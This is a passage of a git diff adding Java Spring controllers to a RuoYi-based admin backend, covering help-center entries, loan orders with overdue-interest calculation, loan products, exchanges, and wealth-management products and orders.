toAjax(tHelpCenterService.insertTHelpCenter(tHelpCenter)); + } + + /** + * 修改帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:edit')") + @Log(title = "帮助中心", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THelpCenter tHelpCenter) + { + return toAjax(tHelpCenterService.updateTHelpCenter(tHelpCenter)); + } + + /** + * 删除帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:remove')") + @Log(title = "帮助中心", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + THelpCenterInfo tHelpCenterInfo = new THelpCenterInfo(); + tHelpCenterInfo.setHelpCenterId(id); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该数据下存在子集,不允许删除"); + } + return toAjax(tHelpCenterService.deleteTHelpCenterById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java new file mode 100644 index 0000000..e8466e7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 帮助中心问题详情Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/helpCenterInfo") +public class THelpCenterInfoController extends BaseController +{ + @Autowired + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenterInfo tHelpCenterInfo) + { + startPage(); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + return getDataTable(list); + } + + /** + * 导出帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:export')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THelpCenterInfo tHelpCenterInfo) + { + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + ExcelUtil util = new ExcelUtil(THelpCenterInfo.class); + util.exportExcel(response, list, "帮助中心问题详情数据"); + } + + /** + * 获取帮助中心问题详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterInfoService.selectTHelpCenterInfoById(id)); + } + + /** + * 新增帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:add')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THelpCenterInfo tHelpCenterInfo) + { + return toAjax(tHelpCenterInfoService.insertTHelpCenterInfo(tHelpCenterInfo)); + } + + /** + * 修改帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:edit')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THelpCenterInfo tHelpCenterInfo) + { + return toAjax(tHelpCenterInfoService.updateTHelpCenterInfo(tHelpCenterInfo)); + } + + /** + * 删除帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:remove')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tHelpCenterInfoService.deleteTHelpCenterInfoByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java new file mode 100644 index 0000000..8b72aa7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 规则说明Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/bussiness/home/setter") +public class THomeSetterController extends BaseController +{ + @Autowired + private ITHomeSetterService tHomeSetterService; + + /** + * 查询规则说明列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:list')") + @GetMapping("/list") + public TableDataInfo list(THomeSetter tHomeSetter) + { + startPage(); + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + return getDataTable(list); + } + + /** + * 导出规则说明列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:export')") + @Log(title = "规则说明", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THomeSetter tHomeSetter) + { + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + ExcelUtil util = new ExcelUtil(THomeSetter.class); + util.exportExcel(response, list, "规则说明数据"); + } + + /** + * 获取规则说明详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHomeSetterService.selectTHomeSetterById(id)); + } + + /** + * 新增规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:add')") + @Log(title = "规则说明", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THomeSetter tHomeSetter) + { + return toAjax(tHomeSetterService.insertTHomeSetter(tHomeSetter)); + } + + /** + * 修改规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:edit')") + @Log(title = "规则说明", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THomeSetter tHomeSetter) + { + return toAjax(tHomeSetterService.updateTHomeSetter(tHomeSetter)); + } + + /** + * 删除规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:remove')") + @Log(title = "规则说明", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tHomeSetterService.deleteTHomeSetterByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java new file mode 100644 index 0000000..a4985c2 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java @@ -0,0 +1,223 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.ui.ModelMap; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 贷款订单Controller + * + * @author ruoyi + * @date 2023-07-14 + */ +@RestController +@RequestMapping("/bussiness/load/order") +public class TLoadOrderController extends BaseController +{ + @Autowired + private ITLoadOrderService tLoadOrderService; + @Resource + private SettingService settingService; + + /** + * 查询贷款订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:list')") + @GetMapping("/list") + public TableDataInfo list(TLoadOrder tLoadOrder) + { + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + return getDataTable(list); + } + + /** + * 导出贷款订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:export')") + @Log(title = "贷款订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TLoadOrder tLoadOrder) + { + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + ExcelUtil util = new ExcelUtil(TLoadOrder.class); + util.exportExcel(response, list, "贷款订单数据"); + } + + /** + * 获取贷款订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadOrderService.selectTLoadOrderById(id)); + } + + /** + * 新增贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:add')") + @Log(title = "贷款订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.insertTLoadOrder(tLoadOrder)); + } + + /** + * 修改贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:edit')") + @Log(title = "贷款订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.updateTLoadOrder(tLoadOrder)); + } + + /** + * 删除贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:remove')") + @Log(title = "贷款订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tLoadOrderService.deleteTLoadOrderByIds(ids)); + } + + /** + * 借贷订单list + * @param tLoadOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:orderList')") + @GetMapping("/orderList") + public TableDataInfo orderList(TLoadOrder tLoadOrder) { + startPage(); + + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tLoadOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + for (TLoadOrder loadOrder1:list) { + if(Objects.isNull(loadOrder1.getFinalRepayTime())){ + continue; + } + int enddays = DateUtils.daysBetween(loadOrder1.getFinalRepayTime(), new Date()); + //逾期 + if(enddays>0){ + if (loadOrder1.getStatus() == 1) { + loadOrder1.setStatus(4); + tLoadOrderService.updateTLoadOrder(loadOrder1); + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + if(loadOrder1.getStatus()==4){ + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + return getDataTable(list); + } + + /** + * 订单审核通过 + * @param tLoadOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:passTLoadOrder')") + @PostMapping("/passTLoadOrder") + public AjaxResult passTLoadOrder(@RequestBody TLoadOrder tLoadOrder) { + return tLoadOrderService.passTLoadOrder(tLoadOrder); + } + + + /** + * 拒绝 + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:refuseTLoadOrder')") + @PostMapping("/refuseTLoadOrder") + public AjaxResult refuseTLoadOrder(@RequestBody TLoadOrder reject) { + reject.setStatus(2); + return AjaxResult.success(tLoadOrderService.updateTLoadOrder(reject)); + } + + /** + * 查看 + * @param id + * @return + */ + @GetMapping("/getTLoadOrder/{id}") + public AjaxResult getTLoadOrder(@PathVariable("id") Long id) { + TLoadOrder tLoadOrder = tLoadOrderService.selectTLoadOrderById(id); + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + if(Objects.nonNull(tLoadOrder.getFinalRepayTime())) { + int enddays = DateUtils.daysBetween(tLoadOrder.getFinalRepayTime(), new Date()); + //逾期 + if (enddays > 0) { + if (tLoadOrder.getStatus() == 3) { + tLoadOrder.setStatus(2); + tLoadOrderService.updateTLoadOrder(tLoadOrder); + } + tLoadOrder.setLastInstets(tLoadOrder.getAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + } + } + return success(tLoadOrder); + } + + /** + * 还款 + * @param id + * @return + */ + @PostMapping("/repayment") + public AjaxResult repayment(Long id) { + return toAjax(tLoadOrderService.repayment(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java new file mode 100644 index 0000000..78feacd --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java @@ -0,0 +1,98 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 借贷产品Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/bussiness/load/product") +public class TLoadProductController extends BaseController +{ + @Autowired + private ITLoadProductService tLoadProductService; + + /** + * 查询借贷产品列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:list')") + @GetMapping("/list") + public TableDataInfo list(TLoadProduct tLoadProduct) + { + startPage(); + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + return getDataTable(list); + } + + /** + * 导出借贷产品列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:export')") + @Log(title = "借贷产品", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TLoadProduct tLoadProduct) + { + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + ExcelUtil util = new ExcelUtil(TLoadProduct.class); + util.exportExcel(response, list, "借贷产品数据"); + } + + /** + * 获取借贷产品详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadProductService.selectTLoadProductById(id)); + } + + /** + * 新增借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:add')") + @Log(title = "借贷产品", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TLoadProduct tLoadProduct) + { + return toAjax(tLoadProductService.insertTLoadProduct(tLoadProduct)); + } + + /** + * 修改借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:edit')") + @Log(title = "借贷产品", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TLoadProduct tLoadProduct) + { + return toAjax(tLoadProductService.updateTLoadProduct(tLoadProduct)); + } + + /** + * 删除借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:remove')") + @Log(title = "借贷产品", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tLoadProductService.deleteTLoadProductByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java new file mode 100644 index 0000000..9b38160 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.service.ITMarketsService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 支持交易所Controller + * + * @author ruoyi + * @date 2023-06-26 + */ +@RestController +@RequestMapping("/bussiness/markets") +public class TMarketsController extends BaseController +{ + @Autowired + private ITMarketsService tMarketsService; + + /** + * 查询支持交易所列表 + */ + @PreAuthorize("@ss.hasPermi('system:markets:list')") + @GetMapping("/list") + public TableDataInfo list(TMarkets tMarkets) + { + startPage(); + List list = tMarketsService.selectTMarketsList(tMarkets); + return getDataTable(list); + } + + /** + * 导出支持交易所列表 + */ + @PreAuthorize("@ss.hasPermi('system:markets:export')") + @Log(title = "支持交易所", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMarkets tMarkets) + { + List list = tMarketsService.selectTMarketsList(tMarkets); + ExcelUtil util = new ExcelUtil(TMarkets.class); + util.exportExcel(response, list, "支持交易所数据"); + } + + /** + * 获取支持交易所详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:markets:query')") + @GetMapping(value = "/{slug}") + public AjaxResult getInfo(@PathVariable("slug") String slug) + { + return success(tMarketsService.selectTMarketsBySlug(slug)); + } + + /** + * 新增支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:add')") + @Log(title = "支持交易所", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMarkets tMarkets) + { + return toAjax(tMarketsService.insertTMarkets(tMarkets)); + } + + /** + * 修改支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:edit')") + @Log(title = "支持交易所", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMarkets tMarkets) + { + return toAjax(tMarketsService.updateTMarkets(tMarkets)); + } + + /** + * 删除支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:remove')") + @Log(title = "支持交易所", businessType = BusinessType.DELETE) + @DeleteMapping("/{slugs}") + public AjaxResult remove(@PathVariable String[] slugs) + { + return toAjax(tMarketsService.deleteTMarketsBySlugs(slugs)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java new file mode 100644 index 0000000..e386b86 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineFinancial; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财产品Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/financial") +public class TMineFinancialController extends BaseController +{ + @Autowired + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财产品列表 + */ + @PreAuthorize("@ss.hasPermi('system:financial:list')") + @GetMapping("/list") + public TableDataInfo list(TMineFinancial tMineFinancial) + { + startPage(); + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + return getDataTable(list); + } + + /** + * 导出理财产品列表 + */ + @PreAuthorize("@ss.hasPermi('system:financial:export')") + @Log(title = "理财产品", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineFinancial tMineFinancial) + { + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + ExcelUtil util = new ExcelUtil(TMineFinancial.class); + util.exportExcel(response, list, "理财产品数据"); + } + + /** + * 获取理财产品详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:financial:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineFinancialService.selectTMineFinancialById(id)); + } + + /** + * 新增理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:add')") + @Log(title = "理财产品", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineFinancial tMineFinancial) + { + return toAjax(tMineFinancialService.insertTMineFinancial(tMineFinancial)); + } + + /** + * 修改理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:edit')") + @Log(title = "理财产品", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineFinancial tMineFinancial) + { + return toAjax(tMineFinancialService.updateTMineFinancial(tMineFinancial)); + } + + /** + * 删除理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:remove')") + @Log(title = "理财产品", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMineFinancialService.deleteTMineFinancialByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java new file mode 100644 index 0000000..65e1f9b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java @@ -0,0 +1,131 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财订单Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/order") +public class TMineOrderController extends BaseController +{ + @Autowired + private ITMineOrderService tMineOrderService; + @Resource + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:list')") + @GetMapping("/list") + public TableDataInfo list(TMineOrder tMineOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tMineOrder.setAdminUserIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + return getDataTable(list); + } + + /** + * 导出理财订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:export')") + @Log(title = "理财订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineOrder tMineOrder) + { + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + ExcelUtil util = new ExcelUtil(TMineOrder.class); + util.exportExcel(response, list, "理财订单数据"); + } + + /** + * 获取理财订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineOrderService.selectTMineOrderById(id)); + } + + /** + * 新增理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:add')") + @Log(title = "理财订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineOrder tMineOrder) + { + return toAjax(tMineOrderService.insertTMineOrder(tMineOrder)); + } + + /** + * 修改理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:edit')") + @Log(title = "理财订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineOrder tMineOrder) + { + return toAjax(tMineOrderService.updateTMineOrder(tMineOrder)); + } + + /** + * 删除理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:remove')") + @Log(title = "理财订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMineOrderService.deleteTMineOrderByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:order:reCall')") + @Log(title = "理财赎回", businessType = BusinessType.UPDATE) + @PutMapping("/reCall") + public AjaxResult reCall(String id) { + String msg = tMineFinancialService.reCall(id); + if(StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java new file mode 100644 index 0000000..91f30ba --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java @@ -0,0 +1,106 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineOrderDay; +import com.ruoyi.bussiness.service.ITMineOrderDayService; 